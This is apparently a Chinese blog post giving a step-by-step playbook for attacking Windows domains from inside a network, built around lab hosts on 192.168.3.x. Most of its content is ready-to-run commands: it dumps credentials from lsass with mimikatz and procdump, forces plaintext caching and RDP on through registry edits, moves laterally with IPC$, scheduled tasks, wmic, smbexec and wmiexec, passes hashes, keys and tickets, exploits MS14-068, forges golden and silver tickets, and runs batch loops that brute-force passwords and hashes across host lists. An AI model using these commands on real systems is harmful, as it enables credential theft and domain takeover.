内网渗透-域渗透简单思路
文章目录
- 1.权限提升
- 2.渗透姿势
- 爆hash,爆aes key
- 爆hash
- 爆aes key
- 3.远程登录
- 注册表修改
- 连接命令
- 4.连接操作
- PTH攻击(利用明文或hash连接)
- IPC(明文连接主机)
- WMI(利用明文连接)
- SMB(利用明文或hash连接)
- RDP(利用明文或hash连接)
- WMI工具(利用明文或hash连接)
- PTK攻击(aes key 进行连接)
- PTT攻击(权限维持)
- Golden ticket(黄金票据)
- silver ticket(白银票据)
- 5.bat批量连接测试
1.权限提升
- 一开始一定要提到administrator或以上,才好继续内网渗透。
2.渗透姿势
爆hash,爆aes key
爆hash
域用户主机上传mimikatz
- mimikatz.exe上执行: privilege::debug sekurlsa::logonpasswords 则可报出hash
- 当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
- reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
procdump
- procdump -accepteula -ma lsass.exe lsass.dmp mimikatz.exe上执行:
- sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords
爆aes key
3.远程登录
注册表修改
开启的3389方法:
1.通用开3389(优化后):
- wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call
SetAllowTSConnections 1
2.For Win2003:
- REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" “Server /v
fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.For Win2008:
- REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” "Server /v
fDenyTSConnections /t REG_DWORD /d 00000000 /f
4.For Every:
cmd开3389 win08 win03 win7 win2012 winxp
win08,三条命令即可:
wmic /namespace:\root\cimv2 erminalservices path
win32_terminalservicesetting where (__CLASS != “”) call
setallowtsconnections 1wmic /namespace:\root\cimv2 erminalservices path
win32_tsgeneralsetting where (TerminalName =‘RDP-Tcp’) call
setuserauthenticationrequired 1reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v
fSingleSessionPerUser /t REG_DWORD /d 0 /f
win2012通用;win7前两条即可。权限需要run as administrator。
连接命令
- windows: mstsc
- linux: rdesktop 192.168.3.21:3389
4.连接操作
PTH攻击(利用明文或hash连接)
IPC(明文连接主机)
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令及相关工具的使用,在已知目标系统的用户明文密码或者hash的基础上,直接可以在远程主机上执行命令。
获取到某域主机权限->minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文,hash当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
一、利用流程
- 建立IPC链接到目标主机
- 拷贝要执行的命令脚本到目标主机
- 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
- 删除IPC链接
net use \server\ipc$“password” /user:username # 工作组
net use \server\ipc$“password” /user:domain\username #域内
dir \xx.xx.xx.xx\C$\ # 查看文件列表
copy \xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \xx.xx.xx.xx\C$\1.bat # 复制文件
net use \xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享
建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
二、[at] & [schtasks]
#at 小于等于windows2008
net use \192.168.1.5 Password /user:admin # 建立ipc连接:
copy add.bat \192.168.1.5\C$\Inetpub # 拷贝执行脚本到目标机器
net time \192.168.1.5 # 查看目标时间,可能本地时间与目标时间不符
at \192.168.1.5 21:52 c:\Inetpub\add.bat # 添加计划任务
at \192.168.1.5 # 查看任务列表
#schtasks 大于windows2008
net use \192.168.1.5 Password /user:admin # 建立ipc连接:
copy add.bat \192.168.1.5\C$\Inetpub # 拷贝执行脚本到目标机器
net time \192.168.1.5 # 查看目标时间,可能本地时间与目标时间不符
schtasks /create /s 192.168.1.5 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\Inetpub\add.bat /F #创建adduser计划任务
schtasks /run /s 192.168.1.5 /tn adduser /i #运行adduser计划任务
schtasks /delete /s 192.168.1.5 /tn adduser /f # 删除计划任务
WMI(利用明文连接)
自带WMIC 明文传递 无回显
- wmic /node:192.168.3.21 /user:administrator /password:Admin12345
process call create “cmd.exe /c ipconfig >C:\1.txt”
SMB(利用明文或hash连接)
- smbexec ./admin:password@192.168.3.21
- smbexec domain/admin:password@192.168.3.21
- smbexec -hashes :HASH ./admin@192.168.3.21
- smbbexec -hashes :HASH domain/admin@192.168.3.21
- smbexec -hashes :ccef208c6485269c20db2cad21734fe7
./administrator@192.168.3.21
RDP(利用明文或hash连接)
- 除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。
RDP明文密码链接
- windows: mstsc
- linux: rdesktop 192.168.3.21:3389
RDP密文HASH链接
- windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server
2012 R2中默认开启,同时如果Win 7 和Windows Server 2008
R2安装了2871997、2973351补丁也支持;开启命令: - REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v
DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
开启后运行:
- mstsc.exe /restrictedadmin
- mimikatz.exe
- privilege::debug
- sekurlsa::pth /user:administrator /domain:remoteserver
/ntlm:d25ecd13fddbb542d2e16da4f9e0333d “/run:mstsc.exe
/restrictedadmin”
WMI工具(利用明文或hash连接)
- wmiexec ./administrator:Admin12345@192.168.3.21 “whoami”
- wmiexec -hashes :HASH ./admin@192.168.3.21 “whoami”
- wmiexec -hashes :ccef208c6485269c20db2cad21734fe7
./administrator@192.168.3.21 “whoami”
PTK攻击(aes key 进行连接)
PTK(pass the key) #利用的aeskey进行的渗透测试
#获取用户aes key
mimikatz “privilege::debug” “sekurlsa::ekeys”
#注入aes key
mimikatz “privilege::debug” “sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288”
#目标系统:安装kb2871997补丁
PTT攻击(权限维持)
Kerberos协议在域中,简要介绍一下:
- 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting
Ticket) - 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
- 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
- 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。
- ptt攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:
MS14-068,Golden ticket(黄金票据),SILVER ticket(白银票据)
#MS14-068
#查看当前sid whoami/user
mimikatz # kerberos::purge
//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list
//查看当前机器凭证
mimikatz # kerberos::ptc
票据文件 //将票据注入到内存中
#利用ms14-068生成TGT数据
- ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
- MS14-068.exe -u mary@god.org -s
S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p
admin!@#45
#票据注入
- mimikatz.exe “kerberos::ptc TGT_mary@god.org.ccache” exit
#查看凭证列表 klist
#利用net use载入
net use \192.168.3.21\c$
dir \192.168.3.21\c$
#利用kekeo生成TGT数据
#生成票据
- kekeo “tgt::ask /user:mary /domain:god.org
/ntlm:518b98ad4178a53695dc997aa02d455c”
#导入票据
- kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
#查看凭证 klist
#利用net use载入
net use \192.168.3.21\c$
dir \192.168.3.21\c$
权限维持-Golden ticket
Golden ticket(黄金票据)
- Golden
ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
#伪造黄金凭据需要具备下面条件:
- krbtgt用户的hash(有域控制器权限)
- 域名称
- 域的SID值
- 要伪造的用户名
#域控DC导出hash krbtgt
privilege::debug
lsadump::lsa /patch
b097d7ed97495408e1537f706c357fc5
#生成tgt凭证
- mimikatz # kerberos::golden /user:administrator /domain::god.org
/sid:S-1-5-21-1218902331-2157346161-1782232778-1124
/krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket
#注入凭证
- mimikatz # kerberos::ptt ticket.kirbi
#查看凭证 klist
##利用net use载入
net use \192.168.3.21\c$
dir \192.168.3.21\c$
权限维持-silver ticket
silver ticket(白银票据)
- silver ticket和golden
ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。不像是Golden
ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。白银票据这里只是对单一的服务进行授权,利用过程和golden
ticket差不多,首先上域控制器中,把机器的ntlm hash(rc4加密)
dump下来,然后在普通域用户机器进行伪造权限,进行ptt.
#域控导出hash
- privilege::debug
- sekurlsa::logonpasswords
#攻击3.21下的cifs(文件共享服务)
- kerberos::golden /domain:god.org
/sid:S-1-5-21-1218902331-2157346161-1782232778 /target:192.168.3.21
/rc4:8432d4fa4430ecf56927dbabd1b4d36b /service:cifs /user:mary /ptt
PTT(pass the ticket) #利用的票据凭证TGT进行的渗透测试
5.bat批量连接测试
#利用hash验证主机列表ips.txt
FOR /F %%i in (ips.txt) do atexec.exe -hashes :HASH ./administrator@%%i whoami
#指定主机进行用户hash列表(hashes.txt)爆破
FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76 whoami
#指定主机进行明文密码列表(passwords.txt)爆破
FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%i@192.168.3.76 whoami
#利用明文密码验证主机列表ips.txt
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami
内网渗透-域渗透简单思路相关推荐
- 内网安全-域横向批量atschtasksimpacket
目录 0x01 横向渗透明文传递 1.1 渗透流程 1.2 IPC技术 1.3 [at] & [schtasks] 1.3.1 假设已经找到DC的用户名密码(具体后面再详细讲),由于域控DC ...
- 内网穿透原理和实现思路介绍
内网穿透技术,简单理解就是将内网的服务映射到公网中,这样可以随时随地访问. 那什么是内网?什么是公网?先从这个基本概念来简单介绍吧 1. 公网.内网和外网 首先声明,公网.内网和外网这几个概念,不是专 ...
- 第65天-内网安全-域环境工作组局域网探针方案
思维导图 知识点 主要都是一些概念的理解 DMZ: 英文全名"Demilitarized Zone",中文含义是"隔离区",在安全领域的具体含义是"内 ...
- p66 内网安全-域横向批量atschtasksimpacket
数据来源 本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径.若观众因此作出任何危害网络安全的行为,后果自负,与本人无关. 基本概念 DMZ区域:称为"隔离区",也称' ...
- 内网安全-域横向PTHPTKPTT哈希票据传递
PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测试 PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试 PTK(pass the ke ...
- 内网安全 - 域横向 PTHPTKPTT
域横向 PTH&PTK&PTT 基础知识 域横向移动PTH传递-Mimikatz 域横向移动PTK传递-mimikatz 域横向移动 PTT 传递-MS14068(主要)&ke ...
- 内网安全-域横向smbwmi明文或hash传递
知识点1: Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码 Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码 针对以上情况 ...
- 第69天-内网安全-域横向 CobaltStrikeSPNRDP
思维导图 知识点 演示案例 域横向移动RDP传递-Mimikatz 除了之前讲到的IPC,WMI,SMB等协议的连接外,获取到的明文密码或HASH密文也可以通过RDP协议进行连接操作. RDP 远程显 ...
- p69 内网安全-域横向 CobaltStrikeSPNRDP
数据来源 SPN(Secret Private Network缩写)_百度百科 (baidu.com) 演示案例 域横向移动RDP传递-Mimikatz 域横向移动SPN服务-探针,请求,导出,破解, ...
最新文章
- 华为p30如何把计算机放进通知栏,华为p30短信来了在通知栏怎么不显示
- 跌宕中,特斯拉拿下上海工厂,给蔚来们留下不到两年窗口期
- * 图形例子,函数实现体会地址传递
- 图像处理技术之分辨率与压缩
- 使用 ale.js 制作一个小而美的表格编辑器(1)
- 连接oracle出现ORA-12514错误
- 移动端判断触摸的方向
- Deep Learning(深度学习)各种资料网址
- 使用Subline Text对比查找两个文档的不同
- 四级语法2——主谓一致+时态语态
- 完美tbody滚动效果
- android设置状态栏字体颜色vivo,状态栏通知图标颜色统一_vivo Xplay3S_手机Android频道-中关村在线...
- Android保存图片和视频到相册
- linux打开python3_号外:RIDE 可以在 linux+python3 的环境中运行啦!
- 前端开发调试之代理配置
- 消除oracle 中 job 的时间误差?
- 微服务架构,springcloud核心组件和实战,docker容器
- 请等待您的伙伴确认该请求_您想成为产品负责人吗?您最好知道等待什么
- springboot实现高并发红包系统(java 全网最全包括语音口令 文字口令 普通 拼手气)
- 公历转农历、生肖、干支纪年、节气算法研究和C程序实现
热门文章
- Oracle归档目录 和 DB_RECOVERY_FILE_DEST
- oracle comment on的用法
- oracle 10046详解
- SQLServer之创建显式事务
- web端 复合控件 响应回发
- [转]在Winform(C#)中使用Flash控件
- Java黑皮书课后题第10章:*10.16(被2或3整除)找出所有被2或3整除的有50个十进制位数的前10个数字
- Java黑皮书课后题第8章:*8.24(检验数独的解决方案)程序清单8-4通过检测棋盘上的每个数字是否是有效的,从而检验一个解决方案是否是有效的。重写该程序,通过检验是否每行、每列、每个小方盒中具有
- Java黑皮书课后题第8章:*8.2(求矩阵对角线元素的和)使用下面的方法头编写一个方法,求n*n的double类型矩阵中主对角线上所有数字的和。编写一个程序,读取一个4*4的矩阵,显示主对角线和
- Android显示广播写法,【Android】广播的写法